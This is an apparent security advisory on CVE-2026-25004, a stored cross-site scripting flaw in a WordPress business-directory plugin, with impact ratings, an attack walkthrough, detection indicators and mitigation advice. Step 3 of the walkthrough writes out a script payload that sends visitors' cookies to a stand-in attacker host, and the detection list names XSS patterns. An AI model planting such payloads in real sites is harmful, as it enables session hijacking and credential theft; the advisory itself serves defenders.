CVE-2026-25004: 
WordPress vulnerability analysis and mitigation

CVE-2026-25004 is a Stored Cross-Site Scripting (XSS) vulnerability in the CM Business Directory WordPress plugin by CreativeMindsSolutions. It affects all versions of the plugin up to and including version 1.5.3. The vulnerability was published on February 19, 2026, and carries a CVSS v3.1 base score of 5.9 (Medium) (Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and specifically manifests as a Stored XSS flaw (Feedly). Exploitation requires high privileges (e.g., an administrator-level account) and user interaction, meaning a victim must visit or interact with a page containing the injected payload. The attack vector is network-based with low complexity, and the scope is changed — indicating the injected script can affect resources beyond the vulnerable component itself.

Successful exploitation allows a privileged attacker to inject persistent malicious scripts into web pages served by the affected WordPress site, which execute in the browsers of visiting users. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victims, and defacement of site content. The confidentiality, integrity, and availability impacts are each rated Low, reflecting the limited but real risk to affected users (Feedly).

The EPSS score for CVE-2026-25004 is approximately 0.029% (0.000290), indicating a low probability of active exploitation in the near term (Feedly). No public proof-of-concept exploit code, exploit kit integration, or in-the-wild exploitation has been reported. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is further constrained by the requirement for high-privilege access to the WordPress backend.

1. Reconnaissance: Identify WordPress sites running the CM Business Directory plugin version 1.5.3 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible WordPress installations.
2. Obtain High-Privilege Access: Gain administrator or equivalent high-privilege credentials to the WordPress admin panel, either through credential stuffing, phishing, or other means.
3. Inject Malicious Payload: Navigate to the CM Business Directory plugin's input fields (e.g., directory listing fields or settings) and insert a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Trigger Execution: When a victim user (e.g., a site visitor or lower-privileged admin) views the page containing the injected content, the malicious script executes in their browser.
5. Harvest Results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to perform session hijacking or further attacks (Feedly).

• Logs: WordPress access logs showing POST requests to CM Business Directory plugin endpoints containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System: Unexpected modifications to plugin database entries or WordPress options table containing embedded <script> tags or obfuscated JavaScript.
• Network: Outbound requests from victim browsers to unknown external domains following visits to pages with CM Business Directory listings, potentially indicating cookie or credential exfiltration.
• Browser/Application: Users reporting unexpected redirects, pop-ups, or session anomalies when visiting pages that render CM Business Directory content.

Users should update the CM Business Directory plugin to a version beyond 1.5.3 that addresses this vulnerability, once a patched release is made available by CreativeMindsSolutions (Feedly). In the interim, site administrators should restrict access to the WordPress admin panel using IP allowlisting and enforce strong, unique credentials with multi-factor authentication to reduce the risk of unauthorized high-privilege access. Additionally, deploying a Web Application Firewall (WAF) capable of detecting and blocking XSS payloads can provide a compensating control.